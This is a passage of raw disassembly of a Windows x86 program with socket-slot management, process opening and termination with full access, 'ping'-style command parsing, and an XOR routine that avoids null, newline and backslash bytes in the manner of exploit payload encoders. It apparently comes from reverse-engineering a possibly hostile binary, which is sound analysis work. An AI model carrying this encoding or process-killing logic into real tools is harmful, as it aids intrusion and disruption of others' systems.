		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		call	near ptr 77C2C407h
		nop
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C4C
		mov	edi, edx
		mov	byte_446C59, bl
		mov	byte_446C5D, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C34
		mov	edi, edx
		mov	word_446C42, bx
		mov	byte_446C47, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		nop
		call	near ptr 27909D3h
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2720000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		call	near ptr 27B02F0h
		nop
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2860000h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	near ptr 77C47A90h
		nop
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
